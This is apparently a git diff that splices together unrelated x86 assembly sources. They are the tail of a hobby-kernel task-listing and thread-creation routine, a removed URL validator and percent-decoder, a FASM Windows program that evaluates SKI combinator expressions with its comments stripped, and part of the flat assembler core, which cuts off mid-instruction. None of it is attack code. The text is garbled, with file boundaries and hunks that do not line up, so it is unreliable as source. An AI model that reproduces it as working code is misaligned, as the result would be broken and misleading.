EMPTY - je .next ; no - - ; do not pass kernel entry - cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY - je .next - - ; share default information about task - - ; process ID - mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid] - mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx - - ; process parents ID - mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent] - mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx - - ; wake up process micotime - mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep] - mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx - - ; amount of pages used by process - mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page] - mov qword [rax + LIB_SYS_STRUCTURE_TASK.page], rdx - - ; current task status - mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags] - mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx - - ; taks name length - movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length] - mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl - - ; task name itself - lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name] - lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name] - rep movsb - - ; next task descriptor position - add rax, LIB_SYS_STRUCTURE_TASK.SIZE - -.next: - ; move pointer to next entry of task table - add r10, KERNEL_TASK_STRUCTURE.SIZE - - ; end of tasks inside table? - dec rbx - jnz .loop ; no - - ; last entry set as empty - mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY - - ; return memory pointer of tasks descriptors - pop rax - - ; release access - mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK - - ; restore original registers - pop r10 - pop r8 - pop rdi - pop rsi - pop rdx - pop rcx - pop rbx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to function of current task to execute as thread -; rsi - pointer to string as name of thread -; rdx - length of that string -;out: -; rax - process ID of thread -kernel_service_thread: - ; preserve original registers - push rbx - push rcx - push rdx - push rsi - push r9 - push r10 - push r11 - push r15 - push rdi - - ;----------------------------------------------------------------------- - ; prepare task for execution - ;----------------------------------------------------------------------- - - ; register new task on queue - mov rcx, rdx - call kernel_task_add - - ;----------------------------------------------------------------------- - ; paging array of new process - ;----------------------------------------------------------------------- - - ; make space for the process paging table - call kernel_memory_alloc_page - - ; update task entry about paging array - mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi - - ;----------------------------------------------------------------------- - ; context stack and return point (initialization entry) - ;----------------------------------------------------------------------- - - ; describe the space under context stack of process - mov rax, KERNEL_TASK_STACK_address - mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process - mov ecx, KERNEL_TASK_STACK_SIZE_page - mov r11, rdi - call kernel_page_alloc - - ; set process context stack pointer - mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers) - mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi - - ; prepare exception exit mode on context stack of process - mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte - call kernel_page_address - - ; set pointer to return descriptor - and rax, STATIC_PAGE_mask ; drop flags - add rax, qword [kernel_page_mirror] ; convert to logical address - add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE - - ; set first instruction executed by thread - mov rdx, qword [rsp] - mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx - - ; code descriptor - mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03 - - ; default processor state flags - mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default - - ; default stack pointer - mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args - mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx - - ; stack descriptor - mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03 - - ;----------------------------------------------------------------------- - ; stack - ;----------------------------------------------------------------------- - - ; alloc stack space - mov rcx, KERNEL_EXEC_STACK_SIZE_page - call kernel_memory_alloc - - ; map executable space to thread paging array - mov rax, KERNEL_EXEC_STACK_address - or bx, KERNEL_PAGE_FLAG_user - mov rsi, rdi - sub rsi, qword [kernel_page_mirror] - call kernel_page_map - - ; process memory usage - add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx - - ; process stack size - add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx - - ; aquire parent task properties - call kernel_task_active - - ; threads use same memory map as parent - mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] - mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax - - ; threads use same streams as parent - - ; in - mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in] - inc qword [rax + KERNEL_STREAM_STRUCTURE.count] - mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax - - ; out - mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out] - inc qword [rax + KERNEL_STREAM_STRUCTURE.count] - mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax - - ; map kernel space to process - mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] - or r15, qword [kernel_page_mirror] - call kernel_page_merge - - ; mark thread as ready - or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init - - ; return process ID of new thread - mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid] - - ; restore original registers - pop rdi - pop r15 - pop r11 - pop r10 - pop r9 - pop rsi - pop rdx - pop rcx - pop rbx - - ; end of routine - ret \ No newline at end of file +ret \ No newline at end of file diff --git a/ref_x86 b/ref_x86 index 5ade15c..3349c66 100644 --- a/ref_x86 +++ b/ref_x86 @@ -131,428 +131,134 @@ found: call read cmp bp, 0x0FF8 jb .block - .386 model flat - extrn strlen:proc extrn isalnum:proc extrn isxdigit:proc - .code - -; Short URL's are at most 12 characters long, and contain just -; alphanumeric characters. This validation has to be done, to -; evade any attempts of path traversal exploit. - -; Input: ecx -; Output: esi -; Registers preserved. -ValidateShortUrl proc near -; Push eax - we don't want to trash it after strlen() returns. - push eax -; As we don't want to alter ecx, preserve ebx - as it'll be a pointer we'll modify. - push ebx -; ebx = ecx; initialize the pointer - mov ebx, ecx -; eax = length of string pointed by ecx. - push ecx - call strlen -; Compare the length to 12 - if it's longer than 12, return a truthy value. - cmp eax, 12 - ja .skip -.loop: -; Move a byte pointed by ebx to esi and sign-extend it. - movsx esi, BYTE PTR [ebx] -; Check if esi is alphanumeric. - push esi - call isalnum -; Clean up after isalnum - add esp, 4 -; When isalnum returns 0 to eax, terminate the loop. - test eax, eax - je .skip -; Increment the pointer to point next character. - inc ebx - jmp .loop -.skip: -; Usual cleanup. - pop ecx - pop ebx - pop eax - ret -ValidateShortUrl endp - -; Adresses of various stuff on the stack. -; Will contain each character of a string. -character = 13 - -; First byte of %XX syntax. -b = 14 - -; Second byte of %XX syntax. -a = 15 - -; The same, but aligned to +12B stack frame -b12frame = 26 -a12frame = 27 - -; Will decode from edx to ecx -DecodeURL proc near -; As always, we don't want to overwrite edx and ecx, -; So make a copy of these registers and make use of another register. -; ecx (destination) => esi - push esi - mov esi, ecx -; edx (source) => ebx - push ebx - mov ebx, edx -; Reserve 20 bytes for a stack frame. - sub esp, 20 -.char_loop: -; Recall a byte from source, put it in al - mov al, BYTE PTR [ebx] -; Move it over to it's place in memory. - mov BYTE PTR [esp+character], al -; Quit if we already hit zero. - test al, al - je .quit -; Increment destination pointer now; will take care of it later. -; The code branches a couple of times and there are at least three -; ways it can loop; so one inc there will save space later on. - inc esi -; Did we hit %? If so, then we're about to parse a hex code. - cmp BYTE PTR [esp+character], '%' - jne .no_hexcode -; Recall first byte, store it in dl. - mov dl, BYTE PTR [ebx+1] - test dl, dl -; We implement a lax parser; if the client sends us incorrect urlencoded -; data we're going to deal with it anyway. This handles the case when % is -; at the end of the string. - je .invalid_percent -; Recall second byte, store it in cl. - mov cl, BYTE PTR [ebx+2] - test cl, cl -; Store b - mov BYTE PTR [esp+b], cl - je .invalid_percent -; We enter a new stack frame; therefore A adress is morphed and we'll write -; it to the memory only now. - sub esp, 12 -; Sign-extend dl to eax, to push it later for isxdigit. - movsx eax, dl - mov BYTE PTR [esp+a12frame], dl -; Invoke - push eax - call isxdigit -; Leave the stack frame. - add esp, 16 -; isxdigit returned zero? If so, we spotted an incorrect %XX code. - test eax, eax - je .invalid_percent -; The same code, but for B. - sub esp, 12 - movsx eax, BYTE PTR [esp+b12frame] - push eax - call isxdigit - add esp, 16 - test eax, eax - je .invalid_percent -; After all this; recall a and b values back. - mov dl, BYTE PTR [esp+a] - mov cl, BYTE PTR [esp+b] -; a lesser or equal to 'a'? - cmp dl, 'a' -; yep, move on. - jle .skip_acase -; Subtract 'a' - 'A' => 32. - sub edx, 32 -; a is still greater than 'A' (65), therefore we jump there. - jmp .gtA -; subtract '0' -.skip_acase: - lea eax, [edx-'0'] - cmp dl, 64 - jle .check_b -.gtA: -; Subtract 'A' - 10, that is, 55. - lea eax, [edx-55] -; The same procedure for this case; we just -; decode two hex digits. -.check_b: - cmp cl, 'a' - jle .maybe_gt - sub ecx, 32 - jmp .gtA2 -.maybe_gt: - lea edx, [ecx-'0'] - cmp cl, 64 - jle .make_number -.gtA2: - lea edx, [ecx-55] -.make_number: -; Make a number out of these; 16 * a + b; instead of multiplying -; we'll utilize leftshift. - sal eax, 4 - add eax, edx -; add 3 to source - we read 3 characters. - add ebx, 3 -; we incremented esi, therefore we reference [esi - 1]; store al there. - mov BYTE PTR [esi-1], al -; loop again - jmp .char_loop -.no_hexcode: -; No %XX, maybe we hit '+'? - cmp BYTE PTR [esp+character], '+' -; Nope; just copy over the character. - jne .invalid_percent -; Yep, replace it with a space. - mov BYTE PTR [esi-1], ' ' -; Increment the source pointer - inc ebx -; Loop again. - jmp .char_loop -.invalid_percent: -; Recall the character - mov al, BYTE PTR [esp+character] -; Increment the source pointer. - inc ebx -; Store the character back. - mov BYTE PTR [esi-1], al -; Loop again. - jmp .char_loop -.quit: -; Glue in the null-terminator. - mov BYTE PTR [esi], 0 -; And finally, leave the stackframe. - add esp, 20 - pop ebx - pop esi - ret -DecodeURL endp - - -format PE GUI 4.0 - -entry _start - -include 'win32ax.inc' - -; Node in memory: - -; ESI ESI+4 ESI+8 -; v v v -; +--------------------------+ -; | left | right | type | -; +--------------------------+ - node.left equ 0 node.right equ 4 node.type equ 8 - -; SKI nodes TYPE_S equ 0 TYPE_K equ 1 TYPE_I equ 2 - -; alloc_node node holding two other nodes. TYPE_BI equ 3 - section '.text' code readable executable writeable - ; Program entry point. - ; Create the dialog, hook up the dialog procedure, - ; enter an event loop. proc _start - ; Create a heap, store it's handle in asmh. invoke HeapCreate, 0, 0, 0 mov DWORD [asmh], eax - ; Get the handle of the current module invoke GetModuleHandleA, 0 - ; ... and use it to create a dialog box. - ; 1 here is the resource identifier for the form. invoke CreateDialogParamA, eax, 1, 0, DialogProc, 0 - ; store the dialog handle in hDlg. mov DWORD [hDlg], eax - ; show the dialog. invoke ShowWindow, eax, SW_SHOW - ; window message loop. .message_loop: - ; fetch the next message to msg. invoke GetMessage, msg, 0, 0, 0 - ; GetMessage returns 0 => quit test eax, eax je .quit - ; if the return value != -1 inc eax jne .isdlg - ; return value == -1 => an error occured. - ; ExitProcess(1) push 1 jmp .die .isdlg: - ; is it a dialog message? invoke IsDialogMessageA, hDlg, msg - ; nope, ignore. test eax, eax jne .message_loop - ; Otherwise, translate and dispatch it. invoke TranslateMessage, msg invoke DispatchMessage, msg jmp .message_loop .quit: - ; ExitProcess(0) push 0 .die: call [ExitProcess] endp - - ; Dialog procedure - handling incoming messages. proc DialogProc - ; Stack frame construction. push ebp mov ebp, esp sub esp, 16 mov edx, DWORD [ebp+12] mov eax, DWORD [ebp+8] mov ecx, DWORD [ebp+16] - ; handle WM_CLOSE cmp edx, WM_CLOSE je .close_handler - ; handle WM_COMMAND cmp edx, WM_COMMAND je .command_handler - ; don't handle everything not being WM_DESTROY - ; (return FALSE) cmp edx, WM_DESTROY jne .no_op - ; ... so we're handling WM_DESTROY here. invoke PostQuitMessage, 0 jmp .c_exit .close_handler: - ; WM_CLOSE => pass around the WM_DESTROY message. invoke DestroyWindow, eax .c_exit: - ; common WM_DESTROY and WM_CLOSE fallthrough. - ; return TRUE. xor ebx, ebx inc ebx - ; the only way out is to jmp .die .command_handler: - ; 2 is the '&Quit' button ID. - ; If anything other has been pressed, branch. cmp cx, 2 jne .not_quit - ; Quit button pressed -> die invoke DestroyWindow, eax .no_op: - ; a RETURN FALSE stub for lacking handlers for - ; WM_COMMAND cases and unknown message ID's. xor ebx, ebx jmp .die .not_quit: - ; '&Quit' wasn't pressed, so maybe it was '&Evaluate'? - ; return FALSE if LOWORD(ecx) != 1 xor ebx, ebx dec cx jne .die - ; '&Evaluate' pressed, handle that. - ; Get the handle to the 3rd dialog item => the expression input invoke GetDlgItem, eax, 3 - ; stuff it in wnd mov DWORD [wnd], eax - ; get the text length to allocate approperiate amount of space on the stack invoke GetWindowTextLengthA, eax - ; Save the esp mov ecx, esp - ; Reserve space for the null terminator. - ; Basically, we're constructing a buffer on the stack lea edx, [eax+1] add eax, 17 and eax, 0xFFFFFFF0 sub ecx, eax mov esp, ecx - ; While we're at it, null-terminate it. mov BYTE [esp], 0 - ; Read the control data, put it in the buffer. mov DWORD [ebp-12], ecx invoke GetWindowTextA, DWORD [wnd], ecx, edx mov ecx, DWORD [ebp-12] - ; Evaluate it. call eval - ; Reset the control text. invoke SetWindowText, DWORD [wnd], eax .die: - ; Pop off the VLA lea esp, [ebp-8] - ; Set the correct return value. mov eax, ebx - ; Balance the stack pop ebx pop esi pop ebp ret 16 endp - - ; Calculate the size of the tree, stringified. - ; Takes the tree in eax. proc str_size - ; Preserve and clear eax, make a copy of the - ; pointer in ebx. push esi ebx xor esi, esi mov ebx, eax .loop: - ; if node.type == TYPE_BI, then it has two children cmp DWORD [ebx+node.type], TYPE_BI jne .quit - ; Apparently it does. - ; left-recurse to get the lhs size mov eax, DWORD [ebx+node.left] call str_size - ; eax contains the lhs size, so everything left - ; is the rhs size. loop on the right node. mov ebx, DWORD [ebx+node.right] - ; add two bytes for '(' and ')' lea esi, [esi+eax+2] jmp .loop .quit: - ; The node doesn't have two children - return 1 - ; (a single byte for either S, K or I) lea eax, [esi+1] pop ebx esi ret endp - - ; Stringify the tree. - ; Take it in eax. The buffer is static and - ; it's the callers' duty to allocate it. proc stringify - ; copy the node pointer to ebx push ebx mov ebx, eax - ; first, take the node type. mov edx, DWORD [eax+node.type] - ; because no matter where we branch the buffer will be used, - ; preload it. mov eax, DWORD [buf] - ; increment the current buffer pointer stored in the variable - ; and hold own instance, which points to one byte before inc eax mov DWORD [buf], eax dec eax - ; has two children? cmp edx, TYPE_BI jne .combinator - ; alloc_node tree starts with '(' mov BYTE [eax], '(' - ; Recurse on the lhs and rhs mov eax, DWORD [ebx+node.left] call stringify mov eax, DWORD [ebx+node.right] call stringify - ; increment pointer, store the ')'. mov eax, DWORD [buf] mov BYTE [eax], ')' inc eax @@ -560,194 +266,130 @@ section '.text' code readable executable writeable dec eax jmp .stop .combinator: - ; stringify the combinator. - ; use the lookup string for that. mov dl, BYTE [ski+edx] - ; store back the letter. mov BYTE [eax], dl - ; the pointer is already incremented, so we fall thru to return .stop: pop ebx ret endp - - ; a wrapper over HeapFree, which frees the pointer in eax. - ; XXX: inline? proc free invoke HeapFree, DWORD [asmh], 0, eax ret endp - - ; free a tree recursively proc free_tree - ; preserve ebx, make a copy of eax push ebx mov ebx, eax - ; has children? cmp DWORD [eax+node.type], TYPE_BI jne .no_children - ; recurse over children. mov eax, DWORD [eax+node.left] call free_tree mov eax, DWORD [ebx+node.right] call free_tree .no_children: - ; take the copy, restore ebx, free the parent. mov eax, ebx pop ebx jmp free endp - - ; Allocate a new tree node. - ; takes new nodes' type in eax. proc alloc_node - ; preserve eax, because it will get trashed by HeapAlloc push ebx mov ebx, eax - ; Call HeapAlloc, alloc 4 (left) + 4 (right) + 4 (type) B. - ; Zero the memory so we don't have to set left and right to NULL. invoke HeapAlloc, DWORD [asmh], HEAP_ZERO_MEMORY, 4 + 4 + 4 - ; Set the type. mov DWORD [eax+node.type], ebx pop ebx ret endp - - ; read a node from the input buffer, and return it in eax. proc read_node - ; preserve ebx push ebx - ; load the code pointer mov eax, DWORD [code] - ; increment it, store back inc eax mov DWORD [code], eax dec eax - ; load a byte mov al, BYTE [eax] - ; if al>'K' then al may be 'S' cmp al, 'K' je .read_k jg .maybe_s - ; reading a tree cmp al, '(' je .read_bitree - ; if it's not 'I', spew out an error. cmp al, 'I' jne .parse_error - ; build an i-node push TYPE_I pop eax jmp .build_node .maybe_s: - ; if it's not 'S', spew out an error. cmp al, 'S' jne .parse_error - ; otherwise, clear eax (load TYPE_S) - ; and build a new node. xor eax, eax jmp .build_node .read_bitree: - ; load the approperiate type and allocate a node push TYPE_BI pop eax call alloc_node mov ebx, eax - ; read the left node call read_node mov DWORD [ebx+node.left], eax - ; eax = 0 => return NULL to broadcast an error. test eax, eax je .nullify - ; read the right node call read_node mov DWORD [ebx+node.right], eax test eax, eax je .nullify - ; no errors - increment the code pointer to skip the trailing `)`. inc DWORD [code] jmp .die .read_k: - ; set eax to 1 (loading TYPE_K) - ; and fall thru to construction of a new node. xor eax, eax inc eax .build_node: pop ebx jmp alloc_node .parse_error: - ; in case of a parse error, display a message and fall thru to returning NULL. invoke MessageBoxA, 0, msge, 0, MB_OK .nullify: xor ebx, ebx .die: - ; set the return value and quit mov eax, ebx pop ebx ret endp - - ; duplicate a tree in eax. proc dup_tree push esi ebx mov ebx, eax - ; Make a new node with this node's type. mov eax, DWORD [eax+node.type] call alloc_node - ; if type != TYPE_BI then return that instance. cmp DWORD [ebx+node.type], TYPE_BI jne .shallow - ; else, clone recursively. copy the original - ; ptr, because it will get overwritten mov esi, eax - ; clone the left node mov eax, DWORD [ebx+node.left] call dup_tree mov DWORD [esi+node.left], eax - ; clone the right node mov eax, DWORD [ebx+node.right] call dup_tree mov DWORD [esi+node.right], eax - ; restore eax mov eax, esi .shallow: pop ebx esi ret endp - proc eval_step push edi esi ebx mov ebx, eax - ; has one child? if node.left == NULL mov eax, DWORD [eax+node.left] test eax, eax je .no_left - ; if the first child's type is I cmp DWORD [eax+node.type], TYPE_I jne .not_inode - ; got identity, so take the right node. mov esi, DWORD [ebx+node.right] - ; free this node and the left node. jmp .clean .not_inode: - ; it's not I. eax is now orig->left - ; if orig->left->left->type == K mov edx, DWORD [eax+node.left] - ; wait, maybe there is no left node test edx, edx je .no_left - ; check the type. cmp DWORD [edx+node.type], TYPE_K - ; branch if it's not K either. jne .not_knode - ; free orig->right and orig->left->left - ; keep and return orig->left->right mov esi, DWORD [eax+node.right] mov eax, DWORD [ebx+node.right] call free_tree mov eax, DWORD [ebx+node.left] mov eax, DWORD [eax+node.left] - ; fallthru to free the orig->left->left node .clean: call free_tree mov eax, ebx @@ -755,71 +397,8 @@ section '.text' code readable executable writeable .yield_saved: mov ebx, esi jmp .done - .not_knode: - ; if it's not a K or I node, then for sure it's either - ; a node we have to evaluate recursively _or_ a S node. - ; check for existence of X = orig->left->left->left - mov edx, DWORD [edx] - test edx, edx - je .no_left - ; X->type != TYPE_S? - cmp DWORD [edx+node.type], TYPE_S - jne .no_left - ; ok, so definitely it's a S node. - ; to get ((Sx)y)z = ((xz)(yz)), first build the outer binode. - push TYPE_BI - pop eax - call alloc_node - ; OK, save it in esi - mov esi, eax - ; build two another binodes, and put them as the left and right - ; node of this tree. - push 3 - pop eax - call alloc_node - mov DWORD [esi+node.left], eax - push 3 - pop eax - call alloc_node - mov DWORD [esi+node.right], eax - ; now the magic happens. do the following: - ; (esi + node.left)->left = dup(orig->left->left->right) - ; (esi + node.left)->right = dup(orig->right) - ; (esi + node.right)->left = dup(orig->left->right) - ; (esi + node.right)->right = dup(orig->right) - ; I'm not sure if this many dup calls are required, but they - ; help to shave off some space and trouble needed to free the - ; correct elements of the trees. we're not really aiming for - ; performance here, so it's alright. - mov edi, DWORD [esi+node.left] - mov eax, DWORD [ebx+node.left] - mov eax, DWORD [eax+node.left] - mov eax, DWORD [eax+node.right] - call dup_tree - mov DWORD [edi+node.left], eax - mov eax, DWORD [ebx+node.right] - mov edi, DWORD [esi+node.left] - call dup_tree - mov DWORD [edi+node.right], eax - mov eax, DWORD [ebx+node.left] - mov edi, DWORD [esi+node.right] - mov eax, DWORD [eax+node.right] - call dup_tree - mov DWORD [edi+node.left], eax - mov eax, DWORD [ebx+node.right] - mov edi, DWORD [esi+node.right] - call dup_tree - mov DWORD [edi+node.right], eax - ; free the original tree - mov eax, ebx - call free_tree - jmp .yield_saved - .no_left: - ; maybe it's a binode, which we just need to evaluate - ; deeper to get some observable result? cmp DWORD [ebx+node.type], TYPE_BI jne .done - ; recurse twice. first set the left node, then the right node. call eval_step mov DWORD [ebx+node.left], eax mov eax, DWORD [ebx+node.right] @@ -830,46 +409,30 @@ section '.text' code readable executable writeable pop ebx esi edi ret endp - - ; the evaluation wrapper called by the DialogProc. - ; takes the input buffer in ecx. eval: push esi ebx mov ebx, ecx - ; store the input in the code buffer. mov DWORD [code], ecx - ; read the expression. call read_node - ; if read_node returns null, then an error occured test eax, eax je .read_fail - ; call the evaluation procedure. call eval_step mov esi, eax - ; find out the size of the buffer, stringified. call str_size - ; allocate it a byte of extra space. inc eax invoke HeapAlloc, DWORD [asmh], 0, eax - ; initialize the output buffer. mov DWORD [buf], eax - ; save the output copy to ourselves to later return it. mov ebx, eax - ; take back the saved buffer, stringify the input into it mov eax, esi call stringify - ; NULL terminate mov eax, DWORD [buf] mov BYTE [eax], 0 - ; free the original tree mov eax, esi call free_tree .read_fail: - ; in any case, return the value we've got. mov eax, ebx pop ebx esi ret - wnd: dd 0 msg MSG hDlg: dd 0 @@ -878,7 +441,6 @@ buf: dd 0 code: dd 0 ski: db 'SKI', 0 msge: db '?', 0 - section '.rsrc' resource data readable directory RT_DIALOG, dialogs resource dialogs, 1, LANG_ENGLISH+SUBLANG_DEFAULT, demo @@ -888,457 +450,11 @@ dialog demo,'SKI calculus',70,70,330,20,WS_CAPTION+WS_POPUP+WS_SYSMENU+DS_MODALF dialogitem 'BUTTON', '&Evaluate', 1, 218, 4, 50, 11, BS_DEFPUSHBUTTON+WS_CHILD+WS_VISIBLE+WS_GROUP dialogitem 'EDIT', '', 3, 28, 3, 187, 14, ES_LEFT+WS_CHILD+WS_VISIBLE+WS_BORDER+WS_GROUP+ES_AUTOHSCROLL enddialog - section '.idata' import data readable writable library kernel32, 'KERNEL32.DLL', \ user32, 'USER32.DLL' - include 'api\kernel32.inc' include 'api\user32.inc' - - - -; flat assembler core -; Copyright (c) 1999-2022, Tomasz Grysztar. -; All rights reserved. - -assembler: - xor eax,eax - mov [stub_size],eax - mov [current_pass],ax - mov [resolver_flags],eax - mov [number_of_sections],eax - mov [actual_fixups_size],eax - assembler_loop: - mov eax,[labels_list] - mov [tagged_blocks],eax - mov eax,[additional_memory] - mov [free_additional_memory],eax - mov eax,[additional_memory_end] - mov [structures_buffer],eax - mov esi,[source_start] - mov edi,[code_start] - xor eax,eax - mov dword [adjustment],eax - mov dword [adjustment+4],eax - mov [addressing_space],eax - mov [error_line],eax - mov [counter],eax - mov [format_flags],eax - mov [number_of_relocations],eax - mov [undefined_data_end],eax - mov [file_extension],eax - mov [next_pass_needed],al - mov [output_format],al - mov [adjustment_sign],al - mov [evex_mode],al - mov [code_type],16 - call init_addressing_space - pass_loop: - call assemble_line - jnc pass_loop - mov eax,[additional_memory_end] - cmp eax,[structures_buffer] - je pass_done - sub eax,18h - mov eax,[eax+4] - mov [current_line],eax - jmp missing_end_directive - pass_done: - call close_pass - mov eax,[labels_list] - check_symbols: - cmp eax,[memory_end] - jae symbols_checked - test byte [eax+8],8 - jz symbol_defined_ok - mov cx,[current_pass] - cmp cx,[eax+18] - jne symbol_defined_ok - test byte [eax+8],1 - jz symbol_defined_ok - sub cx,[eax+16] - cmp cx,1 - jne symbol_defined_ok - and byte [eax+8],not 1 - or [next_pass_needed],-1 - symbol_defined_ok: - test byte [eax+8],10h - jz use_prediction_ok - mov cx,[current_pass] - and byte [eax+8],not 10h - test byte [eax+8],20h - jnz check_use_prediction - cmp cx,[eax+18] - jne use_prediction_ok - test byte [eax+8],8 - jz use_prediction_ok - jmp use_misprediction - check_use_prediction: - test byte [eax+8],8 - jz use_misprediction - cmp cx,[eax+18] - je use_prediction_ok - use_misprediction: - or [next_pass_needed],-1 - use_prediction_ok: - test byte [eax+8],40h - jz check_next_symbol - and byte [eax+8],not 40h - test byte [eax+8],4 - jnz define_misprediction - mov cx,[current_pass] - test byte [eax+8],80h - jnz check_define_prediction - cmp cx,[eax+16] - jne check_next_symbol - test byte [eax+8],1 - jz check_next_symbol - jmp define_misprediction - check_define_prediction: - test byte [eax+8],1 - jz define_misprediction - cmp cx,[eax+16] - je check_next_symbol - define_misprediction: - or [next_pass_needed],-1 - check_next_symbol: - add eax,LABEL_STRUCTURE_SIZE - jmp check_symbols - symbols_checked: - cmp [next_pass_needed],0 - jne next_pass - mov eax,[error_line] - or eax,eax - jz assemble_ok - mov [current_line],eax - cmp [error],undefined_symbol - jne error_confirmed - mov eax,[error_info] - or eax,eax - jz error_confirmed - test byte [eax+8],1 - jnz next_pass - error_confirmed: - call error_handler - error_handler: - mov eax,[error] - sub eax,error_handler - add [esp],eax - ret - next_pass: - inc [current_pass] - mov ax,[current_pass] - cmp ax,[passes_limit] - je code_cannot_be_generated - jmp assembler_loop - assemble_ok: - ret - -create_addressing_space: - mov ebx,[addressing_space] - test ebx,ebx - jz init_addressing_space - test byte [ebx+0Ah],1 - jnz illegal_instruction - mov eax,edi - sub eax,[ebx+18h] - mov [ebx+1Ch],eax - init_addressing_space: - mov ebx,[tagged_blocks] - mov dword [ebx-4],10h - mov dword [ebx-8],24h - sub ebx,8+24h - cmp ebx,edi - jbe out_of_memory - mov [tagged_blocks],ebx - mov [addressing_space],ebx - xor eax,eax - mov [ebx],edi - mov [ebx+4],eax - mov [ebx+8],eax - mov [ebx+10h],eax - mov [ebx+14h],eax - mov [ebx+18h],edi - mov [ebx+1Ch],eax - mov [ebx+20h],eax - ret - -assemble_line: - mov eax,[tagged_blocks] - sub eax,100h - cmp edi,eax - ja out_of_memory - lods byte [esi] - cmp al,1 - je assemble_instruction - jb source_end - cmp al,3 - jb define_label - je define_constant - cmp al,4 - je label_addressing_space - cmp al,0Fh - je new_line - cmp al,13h - je code_type_setting - cmp al,10h - jne illegal_instruction - lods byte [esi] - jmp segment_prefix - code_type_setting: - lods byte [esi] - mov [code_type],al - jmp instruction_assembled - new_line: - lods dword [esi] - mov [current_line],eax - and [prefix_flags],0 - cmp [symbols_file],0 - je continue_line - cmp [next_pass_needed],0 - jne continue_line - mov ebx,[tagged_blocks] - mov dword [ebx-4],1 - mov dword [ebx-8],14h - sub ebx,8+14h - cmp ebx,edi - jbe out_of_memory - mov [tagged_blocks],ebx - mov [ebx],eax - mov [ebx+4],edi - mov eax,[addressing_space] - mov [ebx+8],eax - mov al,[code_type] - mov [ebx+10h],al - continue_line: - cmp byte [esi],0Fh - je line_assembled - jmp assemble_line - define_label: - lods dword [esi] - cmp eax,0Fh - jb invalid_use_of_symbol - je reserved_word_used_as_symbol - mov ebx,eax - lods byte [esi] - mov [label_size],al - call make_label - jmp continue_line - make_label: - mov eax,edi - xor edx,edx - xor cl,cl - mov ebp,[addressing_space] - sub eax,[ds:ebp] - sbb edx,[ds:ebp+4] - sbb cl,[ds:ebp+8] - jp label_value_ok - call recoverable_overflow - label_value_ok: - mov [address_sign],cl - test byte [ds:ebp+0Ah],1 - jnz make_virtual_label - or byte [ebx+9],1 - xchg eax,[ebx] - xchg edx,[ebx+4] - mov ch,[ebx+9] - shr ch,1 - and ch,1 - neg ch - sub eax,[ebx] - sbb edx,[ebx+4] - sbb ch,cl - mov dword [adjustment],eax - mov dword [adjustment+4],edx - mov [adjustment_sign],ch - or al,ch - or eax,edx - setnz ah - jmp finish_label - make_virtual_label: - and byte [ebx+9],not 1 - cmp eax,[ebx] - mov [ebx],eax - setne ah - cmp edx,[ebx+4] - mov [ebx+4],edx - setne al - or ah,al - finish_label: - mov ebp,[addressing_space] - mov ch,[ds:ebp+9] - mov cl,[label_size] - mov edx,[ds:ebp+14h] - mov ebp,[ds:ebp+10h] - finish_label_symbol: - mov al,[address_sign] - xor al,[ebx+9] - and al,10b - or ah,al - xor [ebx+9],al - cmp cl,[ebx+10] - mov [ebx+10],cl - setne al - or ah,al - cmp ch,[ebx+11] - mov [ebx+11],ch - setne al - or ah,al - cmp ebp,[ebx+12] - mov [ebx+12],ebp - setne al - or ah,al - or ch,ch - jz label_symbol_ok - cmp edx,[ebx+20] - mov [ebx+20],edx - setne al - or ah,al - label_symbol_ok: - mov cx,[current_pass] - xchg [ebx+16],cx - mov edx,[current_line] - mov [ebx+28],edx - and byte [ebx+8],not 2 - test byte [ebx+8],1 - jz new_label - cmp cx,[ebx+16] - je symbol_already_defined - btr dword [ebx+8],10 - jc requalified_label - inc cx - sub cx,[ebx+16] - setnz al - or ah,al - jz label_made - test byte [ebx+8],8 - jz label_made - mov cx,[current_pass] - cmp 